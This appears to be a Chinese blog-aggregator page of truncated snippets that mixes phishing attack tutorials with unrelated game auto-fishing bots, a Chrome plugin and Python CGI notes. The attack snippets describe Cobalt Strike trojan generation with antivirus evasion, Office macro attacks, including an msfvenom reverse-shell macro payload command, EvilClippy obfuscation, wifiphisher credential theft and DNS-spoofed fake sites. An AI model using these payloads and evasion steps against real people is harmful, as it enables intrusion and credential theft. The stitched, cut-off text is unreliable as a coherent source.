富强民主文明和谐 自由平等公正法治 爱国敬业诚信友善今天使用cobal strike做一个牛逼的钓鱼操作，实验失败的同学多做几次，该实验受于网络以及各种不确定因素一看就会，一做就废，我做了多次才成功做到免杀且成功shell。 首先 使用cobal strike 生成木马 点击添加一个监听端口/*请注意如果端口在防火墙上策略有误，则会导致反弹失败*/&nb
转载
2024-10-21 23:56:01
136阅读
stop-mess-around项目介绍减少摸鱼的时间和频率的Chrome插件：在上班/学习期间很容易下意识的打开摸鱼网站，插件帮助我们减少摸鱼的时间和频率，提高我们上班和学习的效率，节省时间用于学习提升自己或者享受生活。插件功能匹配摸鱼网址打开网页后，插件会自动匹配自己配置的摸鱼网站。成功匹配后，弹出提示信息，提示用户关闭摸鱼网站。如果觉
stop-mess-around
项目介绍减少摸鱼的时间和频率的Chrome插件：在上班/学习期间很容易下意识的打开摸鱼网站，插件帮助我们减少摸鱼的时间和频率，提高我们上班和学习的效率，节省时间用于学习提升自己或者享受生活。插件功能匹配摸鱼网址打开网页后，插件会自动匹配自己配置的摸鱼网站。成功匹配后，弹出提示信息，提示用户关闭摸鱼网站。如果觉得疲惫了，也可以选择休息一下。网站摸鱼检测关闭，摸鱼休息
[译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”0x1 前言之前在乌云drops上看到一篇绕过WAF跨站脚本过滤器的一些技巧，是从国外的一篇paper部分翻译过来的，可以说文章摘取了原文核心的代码部分，见Bypass XSS过滤的测试方法。看完后觉得确实讲得比较全面和细致，然后找出
[-= 博客目录 =-]1-实践目标1.1-实践介绍1.2-实践内容1.3-实践要求2-实践过程2.1-简单应用SET工具建立冒名网站2.2-ettercap DNS spoof2.3-DNS spoof引导特定访问到冒名网站2.4-基础问题回答3-资料1-实践目标1.1-网络欺诈防范本实践的目标理解常用网络欺诈背后的原理，以提高防范意识，并提出具体防范方法。返回目录1.2-实践内容简单应用SET
你是否想使用Python语言创建一个网页，或者处理用户从web表单输入的数据？这些任务可以通过Python CGI(公用网关接口)脚本以及一个Apache web服务器实现。当用户请求一个指定URL或者和网页交互(比如点击""提交"按钮)的时候，CGI脚本就会被web服务器启用。CGI脚本调用执行完毕后，它的输出结果就会被web服务器用来创建显示给用户的网页。配置Apache web服务器，让其能
转载
2023-12-27 15:38:14
234阅读
钓鱼文件在护网中起着重要的作用，今天我就来演示几种比较常见的钓鱼文件（大佬勿喷）一、office宏攻击宏是微软公司为其OFFICE软件包设计的一个特殊功能，有着独特的文件后缀名，如：xlsm，docm，pptm等。1.msf生成payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f vba -o
转载
2024-09-13 11:14:29
258阅读
wifiphisher 钓鱼工具的使用一、简介 Wifiphisher是一个安全工具,具有安装快速、自动化搭建的优点，利用它搭建起来的网络钓鱼攻击WiFi可以轻松获得密码和其他凭证。与其它（网络钓鱼）不同，这是社会工程攻击，不包含任何的暴力破解，它能轻松获得门户网站和第三方登陆页面的证书或WPA/WPA2的密钥。 wifiphisher在kail linux 上工作，并获得了GPL许可的认可二、工
这是一个我已经断断续续地研究了很长一段时间的项目。在此项目之前我从未尝试过修改游戏，也从未成功训练过“真正的”强化学习代理（智能体）。所以这个项目挑战是：解决钓鱼这个问题的“状态空间”是什么。当使用一些简单的 RL 框架进行编码时，框架本身可以为我们提供代理、环境和奖励，我们不必考虑问题的建模部分。但是在游戏中，必须考虑模型将读取每一帧的状态以及模型将提供给游戏的输入，然后相应地收集合适的奖励，此
转载
2024-01-31 01:54:43
391阅读
发现“钓鱼网站”的一些思路JackZhai背景：钓鱼网站是那些模仿社交、银行、电商等网站，用于骗取用户账户名与密码的“套牌网站”。人们在访问网站时，其URL显示在地址栏中，但URL相似时(可以显示虚假URL)，人们常常忽视，如sohu.com写成s0hu.com；同时大多数情况是网站验证用户的身份，而用户不验证网站的身份，这样的结果就是用户以为自己登录的是正常网站，输入账户与密码，但实际上是把隐私
我的世界玩家们为了收集生存资源而费尽心思，各种各样的方式都用过，其中就包括最轻松的钓鱼。这是玩家们利用钓鱼竿来获取相应物品的过程，整体来说，还是挺有意思的，就是需要耗费不少的时间，要有耐心和集中注意力，除非是制作“自动钓鱼机”。提到Minecraft钓鱼的话，就不得不说它的12个离奇操作了。1、哪怕是玩家们处于水下或者站在浮漂旁边，照样可以正常地钓鱼。2、我的世界玩家亦可使用副手槽钓鱼。3、未附魔
转载
2024-01-04 19:25:29
578阅读
前言本人在玩我的世界时，多次想要实现我的世界自动钓鱼，但查找的网上的教程都不满意，现通过按键精灵完成了全自动钓鱼，分享给大家。 方式一、无需插件无需插件，零门槛，能够直接使用，但是只能用于前台挂机。首先打开我的世界准备，然后右键电脑右下方小喇叭，打开音量混合器，再打开按键精灵，在新建的脚本中输入如下代码Rem game //设置标签game
IfColor 1
转载
2023-12-31 15:11:41
514阅读
office钓鱼免杀宏的制作由于国内近些年来，红蓝对抗的升级，各类hvv，重保，防守方上各种杀软，edr，防御手段层出不穷，不会免杀真的是欲哭无泪，今天带来EvilClippy 恶意文档助手，对office宏进行免杀处理，红队小菜鸡，还望大佬带飞。通过cobalt strike生成宏payload1.通过cs生成office宏木马 2.点击 copy macro 复制生成的宏代码 3.新建一个文档
转载
2024-01-10 18:43:46
18阅读
疫情期间，学习了一下易语言，写个自动钓鱼前台辅助，自己调了一个晚上，还可以。视角要调到水平行 .版本 2 .支持库 dm.程序集 窗口程序集_启动窗口.子程序 _按钮1_被单击 .局部变量 句柄, 整数型 .局部变量 绑定, 整数型 .局部变量 退出, 文本型 延时 (3000) 句柄 ＝ 窗口_大漠获取句柄 (“”, “魔兽世界”) 输出调试文本 (句柄) 绑定 ＝ 绑定窗
转载
2023-12-06 20:39:57
2249阅读
所有的开发者都需要测试他们的软件， 并且一些聪明人会创建测试套件来达成这个目标。测试套件就是一系列测试用例的集合， 也被称作单元测试， 用于测试小”单元”的代码， 通知是一个特定的方法或者类。单元测试能让你应用测试驱动开发的实践， 并且保证你的代码产生更少的 bug。并且为你找到的每一个 bug 创建单元测试， 可以帮助你确保这个 bug 不会再发生！通过预先的测试和调试， 你能极大的减少你的应用
PhEmail简介PhEmail是一款采用Python编程语言开发的开源网络钓鱼邮件工具，它可以帮助研究人员在进行社会工程学测试的过程中自动化地给目标发送网络钓鱼邮件。PhEmail不仅可以同时向多个目标用户发送钓鱼邮件并识别出哪些用户点击了邮件，而且还可以在不利用任何浏览器漏洞或邮件客户端漏洞的前提下尽可能多地收集信息。PhEmail自带的引擎可以通过LinkedIN来收集电子邮箱地址，这些数据
开发者（KaiFaX）
作者 | Jack Cui最近逛 B 站，看到了一个有意思的东西。在原神游戏里，AI 全自动钓鱼，完全解放双手。其实，这个内容，在我出这期视频的时候，就有人在评论区提到过了。 怎奈，本人没玩过原神，但一直知道它的大名。今天，有位 up 主，做了这个AI 全自动钓鱼，推荐大家体验一下！原神在游戏圈，你可以没有玩过，但一定听过《原神》。特别是在国外，原神
Python初学者的自我修养，找到自己的方向对于我来说Python的应用场景主要是机器学习、深度学习相关，对于其他的场景涉猎不多。因此本文的目的并不是列举出一系列小项目给你们练手，而是希望引导大家思考这个问题，从而找到适合自己的练习项目。Python的误区不知道各位初学者如何看待Python这一门语言，又是如何看待程序员的技能，根据我的理解， 这当中可能存在一些误解。其实不论哪一门语言的应用场景可
1 WOW内编程办法第一种：打开WOW自带macro宏编辑窗口-->输入/script或WOW API直接制作简单宏(1)跪倒求婚Macro /kneel/say 如果你不嫁给我，我就一辈子不起来(2)切换WOW程序的窗口与全屏模式/script SetCVar("gxWindow",1-GetCVar("gxWindow"));/console gxRestart(3) 打开所有包/scr
转载
2023-12-20 22:25:55
130阅读
最近怀旧服启动了玩（排）得我萎靡不堪突然想起多年前写过一个钓鱼的按键精灵 赶紧搜出来助我一臂之力奈何往年不知其珍贵 早不见了千思万想才在群空间的文件夹内翻出来一个exe版本而源代码已不知去向，如同我的青春一般。。。不敢多想，赶紧上线试用一番，不禁感叹当年花了2天写的外挂，如此人性，不仅可以调整视角进入挂机模式，还能自动上个鱼饵，可问题也是不小。新版本游戏里是可以坐着钓鱼的，但现在只能站着 这样
